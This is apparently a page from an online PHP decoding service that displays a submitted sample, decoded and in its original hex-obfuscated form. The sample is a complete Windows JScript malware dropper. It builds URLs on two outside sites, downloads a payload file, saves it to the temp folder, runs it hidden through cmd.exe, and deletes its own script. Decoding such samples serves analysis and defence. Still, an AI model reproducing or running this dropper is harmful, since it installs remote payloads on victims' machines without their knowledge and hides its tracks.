Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

function OU(g, Xc) { var vf = 24; var WRs = "h" + "\x74" + "t" + "\x70" + ":" + "..

Decoded Output download

<?   
 
function OU(g, Xc) 
{ 
	var vf = 24; 
	var WRs = "h" + "t" + "t" + "p" + ":" + "/" + "/" + "d" + "e" + "m" + "o" + "." + "a" + "r" + "t" + "-" + "o" + "f" + "-" + "d" + "i" + "g" + "i" + "t" + "a" + "l" + "." + "c" + "o" + "m" + "/" + "y" + "o" + "g" + "a" + "/" + "2" + "0" + "1" + "8" + "/" + "1" + "2" + "/" + "2" + "4" + "/" + "l" + "i" + "v" + "e" + "-" + "a" + "-" + "p" + "e" + "r" + "f" + "e" + "c" + "t" + "-" + "l" + "i" + "f" + "e" + "/" + "f" + "e" + "e" + "d" + "/" + "i" + "n" + "f" + "." + "i" + "n" + "f"; 
	var bUb = "h" + "t" + "t" + "p" + "s" + ":" + "/" + "/" + "m" + "o" + "n" + "s" + "h" + "i" + "h" + "t" + "z" + "u" + "." + "f" + "r" + "/" + "t" + "e" + "m" + "p" + "l" + "a" + "t" + "e" + "s" + "/" + "j" + "o" + "o" + "m" + "s" + "p" + "i" + "r" + "i" + "t" + "_" + "9" + "9" + "/" + "i" + "m" + "a" + "g" + "e" + "s" + "/" + "s" + "o" + "c" + "i" + "a" + "l" + "-" + "i" + "c" + "o" + "n" + "s" + "/" + "i" + "n" + "f" + "." + "i" + "n" + "f"; 
	vf = (g > Xc)?(WRs):(bUb); 
	return bWP(vf); 
} 
 
function xD(qC, JvA) 
{ 
	return KCf(qC, JvA); 
} 
 
 
function mH(PH, qe) 
{ 
	PH["Open"](); 
	PH["Type"] = 1; 
	 
	PH["Write"](qe["ResponseBody"]); 
	PH["Position"] = 0; 
} 
 
function Bk(d, N) 
{ 
	var NAV = WScript; 
	d[N](NAV["ScriptFullName"]); 
} 
 
function ScS(da) 
{ 
	var DrB = "G" + "e" + "t" + "S" + "p" + "e" + "c" + "i" + "a" + "l" + "F" + "o" + "l" + "d" + "e" + "r"; 
	var tA = DrB; 
	var y = "G" + "e" + "t" + "T" + "e" + "m" + "p" + "N" + "a" + "m" + "e"; 
	var px = y; 
	var Uc = da[tA](2) + "\" + da[px](); 
	return Uc; 
} 
 
function s() 
{ 
	return "nd"; 
} 
 
function i(fys, cwS, qq) 
{ 
	var Qa = "A" + "D" + "O" + "D" + "B" + "." + "R" + "e" + "c" + "o" + "r" + "d" + "s" + "e" + "t"; 
	var gNg = new cwS(Qa); 
	var aHh = "a" + "d" + "d" + "N" + "e" + "w"; 
	var iV = aHh; 
	var Da = fys["Si" +"ze"]; 
	var ATp = 201; 
	gNg["fi" + "elds"]["ap" + "pe" + s()]("bin", ATp, Da); 
	gNg["o" + "pen"](); 
	gNg[iV](); 
	var ver = "bin"; 
	var pIM = "appendChunk"; 
	gNg(ver)[pIM](qq); 
	var HhG = "update"; 
	gNg[HhG](); 
	var Cs = "value"; 
	return gNg(ver)[Cs]; 
} 
 
function HC(W) 
{ 
	var yNV = ActiveXObject; 
	return yNV; 
} 
 
function AKf(eff) 
{ 
	var D = HC(0); 
	var sQ = new D("MSXML2.XMLHTTP"); 
	var SfO = typeof sQ["Open"]; 
	var ePN = ("unknown"); 
	if ((eff > 5) && (SfO == ePN)) 
	{ 
		var O = OU(7, 4); 
		if (O == false) 
			O = OU(23, 56); 
		return (1+1+1); 
	} 
	return 4; 
} 
 
function bWP(vf) 
{ 
	var h; 
	var izz; 
	var vxm = HC(42); 
	 
	var BPA = new vxm("MSXML2.XMLHTTP"); 
	var NdF = 0; 
	BPA["open"]("GET", vf, 0); 
	try { 
		BPA["s" + "end"](); 
	} catch (TP) { 
		return false; 
	} 
		 
 
	if (BPA["Status"] != 200) 
		return !true; 
	var tWh=[".","Sc","r","g","c","b","il","pt","n","t","F","te","je","mO","s","eS","i","i","y"]; 
	var YT=tWh[1]+tWh[2]+tWh[16]+tWh[7]+tWh[17]+tWh[8]+tWh[3]+tWh[0]+tWh[10]+tWh[6]+tWh[15]+tWh[18]+tWh[14]+tWh[11]+tWh[13]+tWh[5]+tWh[12]+tWh[4]+tWh[9]; 
	var n = new vxm(YT); 
	var JG = new vxm("ADODB.Stream"); 
	vf = ScS(n); 
 
	mH(JG, BPA); 
 
	var iic = JG["Read"](); 
	iic = i(JG, HC(7), iic); 
	if (iic.length < 10) 
		return false; 
	JG["SaveToFile"](vf); 
	JG["Close"](); 
 
	var yNV = HC(144); 
	var MGc = "Wscript.Shell"; 
	h = new yNV(MGc); 
	izz = "cm" + "d." + "ex"; 
	h["run"](izz + "e /c " + vf, 0); 
	if (!false) 
	{ 
		vf = "del" + "eteF"; 
		Bk(n, vf + "ile"); 
		return ((86+87)>88); 
	} 
	return NdF; 
} 
 
if (8 > 1) 
{ 
	var SMh = !false?AKf(8 + 6):8; 
} 
 
 ?>

Did this file decode correctly?

Original Code



function OU(g, Xc)
{
	var vf = 24;
	var WRs = "h" + "\x74" + "t" + "\x70" + ":" + "\x2F" + "/" + "\x64" + "\x65" + "\x6D" + "\x6F" + "\x2E" + "\x61" + "r" + "\x74" + "\x2D" + "o" + "f" + "\x2D" + "\x64" + "\x69" + "\x67" + "i" + "t" + "\x61" + "l" + "." + "c" + "\x6F" + "\x6D" + "/" + "\x79" + "\x6F" + "\x67" + "a" + "\x2F" + "\x32" + "\x30" + "1" + "\x38" + "/" + "\x31" + "\x32" + "/" + "2" + "4" + "\x2F" + "l" + "\x69" + "\x76" + "\x65" + "\x2D" + "\x61" + "\x2D" + "\x70" + "e" + "r" + "\x66" + "\x65" + "c" + "\x74" + "\x2D" + "\x6C" + "\x69" + "f" + "e" + "\x2F" + "f" + "\x65" + "e" + "d" + "/" + "i" + "\x6E" + "\x66" + "\x2E" + "\x69" + "\x6E" + "\x66";
	var bUb = "\x68" + "\x74" + "t" + "\x70" + "\x73" + "\x3A" + "\x2F" + "/" + "\x6D" + "\x6F" + "n" + "\x73" + "h" + "i" + "\x68" + "\x74" + "z" + "\x75" + "\x2E" + "f" + "\x72" + "/" + "\x74" + "\x65" + "m" + "p" + "\x6C" + "\x61" + "t" + "e" + "\x73" + "/" + "\x6A" + "o" + "o" + "m" + "s" + "p" + "i" + "\x72" + "i" + "\x74" + "\x5F" + "9" + "\x39" + "/" + "i" + "m" + "\x61" + "\x67" + "e" + "s" + "\x2F" + "s" + "\x6F" + "\x63" + "\x69" + "a" + "\x6C" + "\x2D" + "i" + "\x63" + "\x6F" + "n" + "\x73" + "/" + "\x69" + "n" + "f" + "." + "i" + "\x6E" + "\x66";
	vf = (g > Xc)?(WRs):(bUb);
	return bWP(vf);
}

function xD(qC, JvA)
{
	return KCf(qC, JvA);
}


function mH(PH, qe)
{
	PH["Open"]();
	PH["Type"] = 1;
	
	PH["Write"](qe["ResponseBody"]);
	PH["Position"] = 0;
}

function Bk(d, N)
{
	var NAV = WScript;
	d[N](NAV["ScriptFullName"]);
}

function ScS(da)
{
	var DrB = "G" + "\x65" + "t" + "S" + "\x70" + "\x65" + "\x63" + "i" + "\x61" + "l" + "F" + "o" + "\x6C" + "d" + "\x65" + "\x72";
	var tA = DrB;
	var y = "\x47" + "\x65" + "\x74" + "\x54" + "e" + "\x6D" + "p" + "N" + "a" + "\x6D" + "e";
	var px = y;
	var Uc = da[tA](2) + "\\" + da[px]();
	return Uc;
}

function s()
{
	return "nd";
}

function i(fys, cwS, qq)
{
	var Qa = "\x41" + "\x44" + "\x4F" + "\x44" + "B" + "\x2E" + "\x52" + "e" + "\x63" + "\x6F" + "\x72" + "\x64" + "\x73" + "e" + "\x74";
	var gNg = new cwS(Qa);
	var aHh = "a" + "d" + "\x64" + "\x4E" + "\x65" + "\x77";
	var iV = aHh;
	var Da = fys["Si" +"ze"];
	var ATp = 201;
	gNg["fi" + "elds"]["ap" + "pe" + s()]("bin", ATp, Da);
	gNg["o" + "pen"]();
	gNg[iV]();
	var ver = "bin";
	var pIM = "appendChunk";
	gNg(ver)[pIM](qq);
	var HhG = "update";
	gNg[HhG]();
	var Cs = "value";
	return gNg(ver)[Cs];
}

function HC(W)
{
	var yNV = ActiveXObject;
	return yNV;
}

function AKf(eff)
{
	var D = HC(0);
	var sQ = new D("MSXML2.XMLHTTP");
	var SfO = typeof sQ["Open"];
	var ePN = ("unknown");
	if ((eff > 5) && (SfO == ePN))
	{
		var O = OU(7, 4);
		if (O == false)
			O = OU(23, 56);
		return (1+1+1);
	}
	return 4;
}

function bWP(vf)
{
	var h;
	var izz;
	var vxm = HC(42);
	
	var BPA = new vxm("MSXML2.XMLHTTP");
	var NdF = 0;
	BPA["open"]("GET", vf, 0);
	try {
		BPA["s" + "end"]();
	} catch (TP) {
		return false;
	}
		

	if (BPA["Status"] != 200)
		return !true;
	var tWh=[".","Sc","r","g","c","b","il","pt","n","t","F","te","je","mO","s","eS","i","i","y"];
	var YT=tWh[1]+tWh[2]+tWh[16]+tWh[7]+tWh[17]+tWh[8]+tWh[3]+tWh[0]+tWh[10]+tWh[6]+tWh[15]+tWh[18]+tWh[14]+tWh[11]+tWh[13]+tWh[5]+tWh[12]+tWh[4]+tWh[9];
	var n = new vxm(YT);
	var JG = new vxm("ADODB.Stream");
	vf = ScS(n);

	mH(JG, BPA);

	var iic = JG["Read"]();
	iic = i(JG, HC(7), iic);
	if (iic.length < 10)
		return false;
	JG["SaveToFile"](vf);
	JG["Close"]();

	var yNV = HC(144);
	var MGc = "Wscript.Shell";
	h = new yNV(MGc);
	izz = "cm" + "d." + "ex";
	h["run"](izz + "e /c " + vf, 0);
	if (!false)
	{
		vf = "del" + "eteF";
		Bk(n, vf + "ile");
		return ((86+87)>88);
	}
	return NdF;
}

if (8 > 1)
{
	var SMh = !false?AKf(8 + 6):8;
}

Function Calls

None

Variables

None

Stats

MD5 53ca81c89aeb188cd70c8007ec893722
Eval Count 0
Decode Time 78 ms